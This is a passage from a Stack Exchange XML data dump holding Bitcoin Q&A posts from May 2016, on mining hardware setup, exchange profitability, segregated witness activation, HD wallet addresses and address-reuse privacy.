href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L5380&quot; rel=&quot;noreferrer&quot;&gt;Sending too large bloom filters&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regarding transactions, it seems that they also may &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/239d4198645434542b01916dae5eebc7a3a7bbcc/src/main.cpp#L5042&quot; rel=&quot;noreferrer&quot;&gt;increase&lt;/a&gt; the banscore:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;// Punish peer that gave us an invalid orphan tx&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2016-05-20T19:01:34.503" LastActivityDate="2016-05-20T19:01:34.503" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="44219" PostTypeId="2" ParentId="44205" CreationDate="2016-05-20T19:01:10.537" Score="0" Body="&lt;p&gt;There aren't any, unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rolling your own shouldn't be that difficult - I'd suggest using &lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;CoinSpark's OP_RETURN library&lt;/a&gt; as a starting point. All the best!&lt;/p&gt;&#xA;" OwnerUserId="35841" LastActivityDate="2016-05-20T19:01:10.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44220" PostTypeId="2" ParentId="44209" CreationDate="2016-05-20T19:03:32.660" Score="2" Body="&lt;p&gt;It could be a blockchain analysis node of some sort (eg. Chainalysis or similar), or it could be &lt;a href=&quot;https://github.com/basil00/PseudoNode&quot; rel=&quot;nofollow&quot;&gt;a pseudonode&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="35841" LastActivityDate="2016-05-20T19:03:32.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44221" PostTypeId="1" AcceptedAnswerId="44222" CreationDate="2016-05-20T22:13:32.707" Score="7" ViewCount="414" Body="&lt;p&gt;I've seen plenty of people looking into setting up coin exchanges.  I'm also interested in the development of cyptocurrencies and think it might be a good idea to get involved in the business environment as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering, however, if starting one is a worthwhile investment, considering one must balance server costs, development, etc.  I'm an intermediate software developer yet understand creating an exchange is beyond my limits, so I would certainly need a team to help me realize this goal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the only profits of the coin exchange are a small fee for every transaction, I can't imagine an exchange would be highly profitable and certainly wouldn't be able to pay off development/server fees?&lt;/p&gt;&#xA;" OwnerUserId="35621" LastActivityDate="2020-04-22T13:20:42.600" Title="Coin Exchange Profits" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44222" PostTypeId="2" ParentId="44221" CreationDate="2016-05-21T03:21:18.433" Score="8" Body="&lt;p&gt;You are right that you will need significant volume to make substantial profits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which country are you located in? Some countries will also have very high regulatory startup costs, which is why you will see some exchanges deciding to block all users from some jurisdictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would make your exchange different from the rest? Without a substantial marketing budget it is hard to attract a lot of volume. People like to trade on the exchanges with the highest liquidity and as a new exchange you would not have that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to focus on building something unique. When you launch an exchange focus on building volume at first (a maker taker model fee model and a referral system may help with that). Profits should be your long term concern (not short term) assuming you have enough capital to run at a loss for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most importantly make sure you exchange is secure! Trustless decentralized exchanges should gain in popularity over time. Too many exchanges have absconded with funds or been hacked already&lt;/p&gt;&#xA;" OwnerUserId="35802" LastActivityDate="2016-05-21T03:21:18.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44223" PostTypeId="1" CreationDate="2016-05-21T03:46:30.077" Score="3" ViewCount="3357" Body="&lt;p&gt;I just received my first Gekkoscience USB Miner but I am having trouble setting it up. Could someone explain it too me how in baby words with download links and stuff?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it to some what work but not mine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe -o stratum+tcp://sha.eobot.com:3333 -u eobot.396718 --compac-freq 150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run it this is what I get. Any clue?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2016-05-20 20:38:18.637] No devices detected!&#xA; [2016-05-20 20:38:18.637] Waiting for USB hotplug devices or press q to quit&#xA; [2016-05-20 20:38:18.637] Probing for an alive pool&#xA; [2016-05-20 20:38:18.819] Pool 0 difficulty changed to 1024&#xA; [2016-05-20 20:38:19.638] Network diff set to 194G&#xA; [2016-05-20 20:38:24.990] USB init, open device failed, err -12,&#xA; [2016-05-20 20:38:24.991] You need to install a WinUSB driver for - AMU device 1:21&#xA; [2016-05-20 20:38:24.993] And associate - AMU device 1:21 with WinUSB using zadig&#xA; [2016-05-20 20:38:24.994] See README.txt file included for help&#xA; [2016-05-20 20:38:24.996] Icarus detect (1:21) failed to initialise (incorrect device?)&#xA; [2016-05-20 20:38:25.357] USB init, open device failed, err -12,&#xA; [2016-05-20 20:38:25.358] You need to install a WinUSB driver for - AMU device 1:21&#xA; [2016-05-20 20:38:25.360] And associate - AMU device 1:21 with WinUSB using zadig&#xA; [2016-05-20 20:38:25.362] See README.txt file included for help&#xA; [2016-05-20 20:38:25.363] Icarus detect (1:21) failed to initialise (incorrect device?)&#xA; [2016-05-20 20:38:25.715] USB init, open device failed, err -12,&#xA; [2016-05-20 20:38:25.717] You need to install a WinUSB driver for - GEK device 1:21&#xA; [2016-05-20 20:38:25.719] And associate - GEK device 1:21 with WinUSB using zadig&#xA; [2016-05-20 20:38:25.721] See README.txt file included for help&#xA; [2016-05-20 20:38:25.723] Gekko detect (1:21) failed to initialise (incorrect device?)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34858" LastEditorUserId="5406" LastEditDate="2016-06-14T06:58:00.283" LastActivityDate="2017-11-28T07:47:15.450" Title="GekkoMiner USB Help" Tags="|miner-configuration|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44224" PostTypeId="1" AcceptedAnswerId="44225" CreationDate="2016-05-21T05:17:33.800" Score="7" ViewCount="369" Body="&lt;p&gt;What happens if segregated witness never reaches the 95% adoption threshold from miners? Will it still take effect for those transactions where the miners have adopted it?&lt;/p&gt;&#xA;" OwnerUserId="35765" LastActivityDate="2016-05-30T11:19:23.863" Title="segregated witness adoption" Tags="|mining-pools|segregated-witness|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44225" PostTypeId="2" ParentId="44224" CreationDate="2016-05-21T07:27:28.607" Score="0" Body="&lt;p&gt;&quot;This BIP is to be deployed by version-bits BIP9. Exact details TDB.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/4cpl1y/segregated_witness_when_and_how_does_it_activate/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/4cpl1y/segregated_witness_when_and_how_does_it_activate/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as testing is complete final details should be determined. It sounds like a segwit soft fork is possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will not be a need to wait for a 95% adoption threshold:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;A main benefit of the current Segregated Witness design is that it can be deployed as a soft fork. Once the code is accepted and merged, only miners will need to upgrade; all other users can change their software if and whenever they want to, with no risk of being thrown off the network.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinmagazine.com/articles/segregated-witness-enters-final-testnet-stage-includes-lightning-network-support-1459357231&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinmagazine.com/articles/segregated-witness-enters-final-testnet-stage-includes-lightning-network-support-1459357231&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35740" LastActivityDate="2016-05-21T07:27:28.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="44226" PostTypeId="2" ParentId="35682" CreationDate="2016-05-21T07:31:07.477" Score="1" Body="&lt;p&gt;I build a custom driver wich allow to run lketc usb miner with other scrypt miner &#xA;(originaly this driver is a zeus clone, but if you use lketc and zeus at same time one of miner not works)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can download source code here : &lt;a href=&quot;http://github.com/wareck/cgminer-lketc&quot; rel=&quot;nofollow&quot;&gt;http://github.com/wareck/cgminer-lketc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and for windows user: &lt;a href=&quot;http://github.com/wareck/cgminer-lketc/releases/download/cgminer-dragon-win32/cgminer-lketc-win32.zip&quot; rel=&quot;nofollow&quot;&gt;http://github.com/wareck/cgminer-lketc/releases/download/cgminer-dragon-win32/cgminer-lketc-win32.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wareck&lt;/p&gt;&#xA;" OwnerUserId="35854" LastActivityDate="2016-05-21T07:31:07.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44227" PostTypeId="1" AcceptedAnswerId="44228" CreationDate="2016-05-21T08:13:25.887" Score="5" ViewCount="1160" Body="&lt;p&gt;GPUs used for bitcoin mining have many other purposes and can generally be sold after they are no longer mining enough Bitcoin to meet variable (electricity, etc) costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What uses do old ASICs have after they are no longer profitable to operate?&lt;/p&gt;&#xA;" OwnerUserId="35802" LastActivityDate="2016-05-21T08:29:35.187" Title="What can be done with old (unprofitable) ASICs?" Tags="|mining-profitability|asic|energy-consumption|" AnswerCount="1" CommentCount="1" ClosedDate="2016-05-30T09:59:24.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="44228" PostTypeId="2" ParentId="44227" CreationDate="2016-05-21T08:29:35.187" Score="5" Body="&lt;p&gt;If your electricity costs are high, unprofitable for you may mean profitable for someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some miners may still use unprofitable ASICs either to support the network (at a smaller loss than with GPUs) or in hopes that BTC price will rise in the future (although just buying BTC in this case may be more profitable).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to sell them. If you have no success, then recycle them or use them as weights, benches, etc.&lt;/p&gt;&#xA;" OwnerUserId="35765" LastActivityDate="2016-05-21T08:29:35.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44229" PostTypeId="2" ParentId="43604" CreationDate="2016-05-21T08:58:17.733" Score="1" Body="&lt;p&gt;No you cannot. Monero uses a different PoW that is incompatible with sgminer, but also uses a different pool communication protocol that is Stratum-like but not actually Stratum.&lt;/p&gt;&#xA;" OwnerUserId="35841" LastActivityDate="2016-05-21T08:58:17.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44230" PostTypeId="1" CreationDate="2016-05-21T08:59:14.333" Score="1" ViewCount="225" Body="&lt;p&gt;I request payment to this address: &lt;strong&gt;1MJW5uSqvsdey6DnAsMo21WZ6bhehaVtKq&lt;/strong&gt; but still not yet to the wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1MJW5uSqvsdey6DnAsMo21WZ6bhehaVtKq&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1MJW5uSqvsdey6DnAsMo21WZ6bhehaVtKq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this happen how to get back or cancell&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="35855" LastActivityDate="2016-05-21T09:09:46.180" Title="Transfer Not Sent to wallet" Tags="|transactions|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44231" PostTypeId="2" ParentId="43925" CreationDate="2016-05-21T09:02:31.473" Score="1" Body="&lt;p&gt;Sure - you can run &lt;a href=&quot;https://bitcointalk.org/?topic=841401&quot; rel=&quot;nofollow&quot;&gt;cpuminer-multi&lt;/a&gt; on Azure or AWS, and it will CPU mine. You will need to find a pool to mine with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you want to solo mine, then you merely need to run a full Monero node, and from within &lt;code&gt;bitmonerod&lt;/code&gt; you use the &lt;code&gt;start_mining&lt;/code&gt; command. Details on the options you can pass to that command are available via the &lt;code&gt;help&lt;/code&gt; command within &lt;code&gt;bitmonerod&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="35841" LastActivityDate="2016-05-21T09:02:31.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44232" PostTypeId="2" ParentId="44230" CreationDate="2016-05-21T09:04:30.373" Score="2" Body="&lt;p&gt;You provided the receiving address but not the sending address or the txid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this your transaction sending 0.05277 BTC to that address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/1bd7d272d7c63984608089a31e66b05c873fd7b9d50021129b87584202438a55&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/1bd7d272d7c63984608089a31e66b05c873fd7b9d50021129b87584202438a55&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not your transaction then has not yet been transmitted to the network. The above transaction is the only transaction involving the address you specified: 1MJW5uSqvsdey6DnAsMo21WZ6bhehaVtKq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where did you send the payment from? Some online exchanges say they &quot;sent&quot; the transaction and deduct btc from your balance before they actually transmit it. Until you see a transaction ID on the blockchain I would continue to assume it has not been sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you can receive your &quot;bitcoin back or cancel&quot; is dependent on who controls the wallet the transaction is intended to be sent from.&lt;/p&gt;&#xA;" OwnerUserId="35696" LastEditorUserId="35696" LastEditDate="2016-05-21T09:09:46.180" LastActivityDate="2016-05-21T09:09:46.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44234" PostTypeId="2" ParentId="44221" CreationDate="2016-05-21T09:41:33.127" Score="1" Body="&lt;p&gt;Additionaly to what @opensourceprivacy wrote, if I were you, I would consider building my services on top of already-existing trading engine like BitShares (I believe that something similar is possible with NXT, too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using BitShares, you would become a gateway, i.e. somebody who takes e.g. BTC and issues own token (IOU) e.g. TACOMA.BTC, this token could then be traded on BitShares' decentralized exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you don't need to implement your own trading engine&lt;/li&gt;&#xA;&lt;li&gt;(possibly) larger trading volume&lt;/li&gt;&#xA;&lt;li&gt;referral program&lt;/li&gt;&#xA;&lt;li&gt;your ledger is open so all trades are transparent (nobody can accuse you of cheating)&lt;/li&gt;&#xA;&lt;li&gt;unlimited number of trading pairs - your customers can trade TACOMA.BTC with bitUSD/OPEN.LISK/METAEX.ETH etc. from day 1 with no additional work from your side&lt;/li&gt;&#xA;&lt;li&gt;you can create your own web/desktop/mobile client or you can reuse already-existing one (e.g. &lt;a href=&quot;https://bitshares.openledger.info&quot; rel=&quot;nofollow&quot;&gt;https://bitshares.openledger.info&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;it is still possible to comply with local regulation/law&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you lose control over trading fees (you still can charge deposit/withdrawal fees)&lt;/li&gt;&#xA;&lt;li&gt;if there is any technical/reputation problem with BitShares, your service will suffer as well&lt;/li&gt;&#xA;&lt;li&gt;not sure how difficult it is to implement&lt;/li&gt;&#xA;&lt;li&gt;you are limited with technology stack so possibly more difficult to hire developers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6816" LastEditorUserId="6816" LastEditDate="2016-05-24T06:16:39.410" LastActivityDate="2016-05-24T06:16:39.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44235" PostTypeId="1" AcceptedAnswerId="44242" CreationDate="2016-05-21T10:06:05.540" Score="2" ViewCount="164" Body="&lt;p&gt;Is there a list of self reported BTC addresses with lost private keys? Of course such a list would never be conclusive as we would have to trust the people who report that the keys were lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this trust issue be eliminated going forward by creating a Bitcoin proof of burn function (forcing BTC to be sent to a random address where it is extremely unlikely nobody holds the private key). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a function could not include the ability for the user to send BTC to an address of their choosing. It would need to be separate from the private key system already in place. It can also not be retroactive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the Private Key and &quot;Proof of Burn Key&quot; are &lt;strong&gt;stored separately&lt;/strong&gt;, the purpose of this idea would be to allow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Those who have lost their private key to prove their loss of ability to find it (this could have an impact on insurance, tax, inheritance claims or more)&lt;/li&gt;&#xA;&lt;li&gt;You could use a multi-sig Proof of Burn system to help minority claimants (of blockchain businesses, heirs to a bitcoin estate, etc) the ability to call the bluff of a rogue partner or other beneficiary from making a &quot;lost key&quot; claim.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="35802" LastActivityDate="2016-05-21T17:06:30.407" Title="Could a Proof of Burn function be implemented into Bitcoin Core to help prove loss of private keys?" Tags="|private-key|multi-signature|lost-bitcoins|" AnswerCount="2" CommentCount="3" ClosedDate="2016-06-13T08:27:27.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="44236" PostTypeId="1" CreationDate="2016-05-21T10:28:22.043" Score="6" ViewCount="2954" Body="&lt;p&gt;Can I receive Bitcoin to any addresses from my wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have more than one address on Coinbase, and it seems to change every day. Can I turn off the changing of addresses?&lt;/p&gt;&#xA;" OwnerUserId="35828" LastEditorUserId="5406" LastEditDate="2016-06-13T16:46:19.937" LastActivityDate="2021-10-21T10:06:10.257" Title="Can I receive Bitcoin on any of my wallet addresses?" Tags="|coinbase.com|address-reuse|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44237" PostTypeId="2" ParentId="44236" CreationDate="2016-05-21T10:36:12.947" Score="6" Body="&lt;p&gt;Yes! With an HD (Hierarchical Deterministic) wallet you control all the addresses inside of it. Using a new address for each transaction is actually a good thing for privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot;&gt;https://en.bitcoin.it/wiki/Deterministic_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.coinbase.com/t/why-did-my-address-change-did-i-lose-some-payments/1589/2&quot;&gt;https://community.coinbase.com/t/why-did-my-address-change-did-i-lose-some-payments/1589/2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your last question you don't need to stop your address from changing because payments send to your old HD addresses will remain under your control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more control I suggest you run your own full node and do not give any control to a 3rd party:&#xA;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase offers convenience and other advantages but this post from CEO Brian Armstrong makes it clear what their priorities are:&#xA;&lt;a href=&quot;https://medium.com/the-coinbase-blog/coinbase-is-not-a-wallet-b5b9293ca0e7&quot;&gt;https://medium.com/the-coinbase-blog/coinbase-is-not-a-wallet-b5b9293ca0e7&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35802" LastEditorUserId="35802" LastEditDate="2016-05-21T10:48:18.687" LastActivityDate="2016-05-21T10:48:18.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44238" PostTypeId="1" AcceptedAnswerId="44277" CreationDate="2016-05-21T11:04:20.690" Score="6" ViewCount="203" Body="&lt;p&gt;I just went to install the latest version of bitcoind and discovered that Wladimir has signed the &lt;a href=&quot;https://bitcoin.org/bin/bitcoin-core-0.12.1/SHA256SUMS.asc&quot;&gt;https://bitcoin.org/bin/bitcoin-core-0.12.1/SHA256SUMS.asc&lt;/a&gt; file with a new GPG key: &lt;a href=&quot;https://bitcoin.org/laanwj-releases.asc&quot;&gt;https://bitcoin.org/laanwj-releases.asc&lt;/a&gt;. His previous key was &lt;a href=&quot;https://bitcoin.org/laanwj.asc&quot;&gt;https://bitcoin.org/laanwj.asc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Googling turned up &lt;a href=&quot;https://www.reddit.com/r/bitcoin_devlist/comments/3bsw31/new_gpg_signing_key_for_bitcoin_core_binary/&quot;&gt;this notice on reddit&lt;/a&gt; but he doesn't say why he started using a new key. Does anybody know why he switched keys? Are there any good reasons to switch keys? Should I be worried?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="5406" LastEditDate="2016-06-13T16:44:24.030" LastActivityDate="2016-06-13T16:44:24.030" Title="Wladimir's new GPG key" Tags="|bitcoind|bitcoin-core-development|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44239" PostTypeId="2" ParentId="44238" CreationDate="2016-05-21T11:09:39.160" Score="1" Body="&lt;p&gt;Maybe he is worried his old key was compromised somehow? If that is the case I would be careful about trusting anything signed with the old GPG key after the soonest date it could have been compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see a reason to worry about future releases he signs with his new GPG key.&lt;/p&gt;&#xA;" OwnerUserId="35727" LastActivityDate="2016-05-21T11:09:39.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44240" PostTypeId="2" ParentId="43939" CreationDate="2016-05-21T11:12:27.987" Score="1" Body="&lt;p&gt;I am not aware of any cases, but based on the long delay in relevant cases concerning the fax machine and email (proof of delivery, timestamps, etc) I would not expect such a blockchain specific case law decision anytime soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technology advances far faster than the law.&lt;/p&gt;&#xA;" OwnerUserId="35727" LastActivityDate="2016-05-21T11:12:27.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44241" PostTypeId="1" AcceptedAnswerId="44243" CreationDate="2016-05-21T12:47:49.853" Score="6" ViewCount="8880" Body="&lt;p&gt;Bitcoin noob here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the money I get from mining bitcoin come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does bitcoin mining means I &quot;steal&quot; from other people?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, should I fear this probability of being robbed while I make transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinkin of some type of &quot;law conservation of money&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this law apply also to bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is bitcoin mining legal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please provide two references of how mining works, one for the street man and one for the programmer man?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="35857" LastActivityDate="2016-05-21T13:17:22.573" Title="Where does the money I get from mining bitcoin come from?" Tags="|mining-theory|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-13T16:42:31.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="44242" PostTypeId="2" ParentId="44235" CreationDate="2016-05-21T12:52:50.977" Score="0" Body="&lt;p&gt;Interesting idea and theoretically possible but I think the implementation would be complex and potentially dangerous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are essentially asking to combine a private key to allow the spending of the coins with a mandatory RNG. If they can be separated (or the RNG compromised) the holder of the Proof of Burn key can send the Bitcoin balance to an address of their choosing.&lt;/p&gt;&#xA;" OwnerUserId="35717" LastActivityDate="2016-05-21T12:52:50.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44243" PostTypeId="2" ParentId="44241" CreationDate="2016-05-21T12:59:58.280" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;The Bitcoin is generated according to the protocol for the Proof of Work you provide to the network. The reward is comprised of a block reward and transaction fees from bitcoin transactions included in the block.&lt;/li&gt;&#xA;&lt;li&gt;No. Mined coins are new to circulation and not taken from anyone else. Transaction fees are not stolen. The sender of each transaction decides how much of a transaction fee to pay the miner. Higher fees are more likely to result in a fast confirmation time.&lt;/li&gt;&#xA;&lt;li&gt;Do not fear of getting robbed when making transactions. Instead fear getting robbed by those you trust to hold bitcoin on your behalf. Learn how to secure your own bitcoin and keep your private key safe and secure. &lt;/li&gt;&#xA;&lt;li&gt;Bitcoin is a public ledger recorded on a blockchain. Each address is controlled by a private key. When you send Bitcoin from one address to another the only person that can spend it is the owner of the private key of the address you are sending the bitcoin to. Miner cannot intercept your bitcoin and steal it. They only verify the transaction took place, record it on top of the blockchain for the world to see.&lt;/li&gt;&#xA;&lt;li&gt;Legality of Bitcoin mining may vary by jurisdiction but is happening all over the world. So far there appear to be a more laws aimed at regulating exchanges than miners.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are a few simple and more technical references as you requested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GmOzih6I1zs&quot;&gt;https://www.youtube.com/watch?v=GmOzih6I1zs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=l9jOJk30eQs&quot;&gt;https://www.youtube.com/watch?v=l9jOJk30eQs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-proof-of-work&quot;&gt;https://bitcoin.org/en/developer-guide#term-proof-of-work&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot;&gt;https://en.bitcoin.it/wiki/Controlled_supply&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35717" LastEditorUserId="35717" LastEditDate="2016-05-21T13:17:22.573" LastActivityDate="2016-05-21T13:17:22.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44244" PostTypeId="2" ParentId="43580" CreationDate="2016-05-21T13:27:58.597" Score="1" Body="&lt;p&gt;This secure, private, untraceable C++ implementation of the I2P anonymous network being developed for Monero could eventually be of use for Bitcoin too. It will address the IP address issue you are asking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Metadata related privacy issues continue to be researched both by those who want to perform blockchain analysis and those who want to protect the privacy of users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/monero-project/kovri&quot; rel=&quot;nofollow&quot;&gt;https://github.com/monero-project/kovri&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why I2P over Tor?&#xA;&lt;a href=&quot;https://www.reddit.com/r/Monero/comments/2ti53m/why_is_monero_aiming_to_integrate_i2p/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Monero/comments/2ti53m/why_is_monero_aiming_to_integrate_i2p/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35717" LastActivityDate="2016-05-21T13:27:58.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="44245" PostTypeId="1" AcceptedAnswerId="44246" CreationDate="2016-05-21T14:16:57.133" Score="5" ViewCount="358" Body="&lt;p&gt;If I never conduct transactions from an IP address associated with my real life identity and never conduct a transaction with someone who knows me in real life how can using the same address all the time (for the sake of simplicity) hurt my privacy?&lt;/p&gt;&#xA;" OwnerUserId="35722" LastActivityDate="2016-05-23T03:59:00.650" Title="How does not practicing address reuse hurt my privacy?" Tags="|privacy|address-reuse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="44246" PostTypeId="2" ParentId="44245" CreationDate="2016-05-21T14:20:06.303" Score="9" Body="&lt;p&gt;There's a bigger attack surface for someone that wants to doxx you. They only need to link a single transaction to your real life person to know all the transactions you've participated in. A single payment to newegg, for instance, will identify you across all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very few transactions are completely anonymous. But yes, if they're all completely anonymous, then you won't be hurting your privacy. However, that's much more the exception than the rule and you're probably leaking much more information than you think you are.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-05-21T14:20:06.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
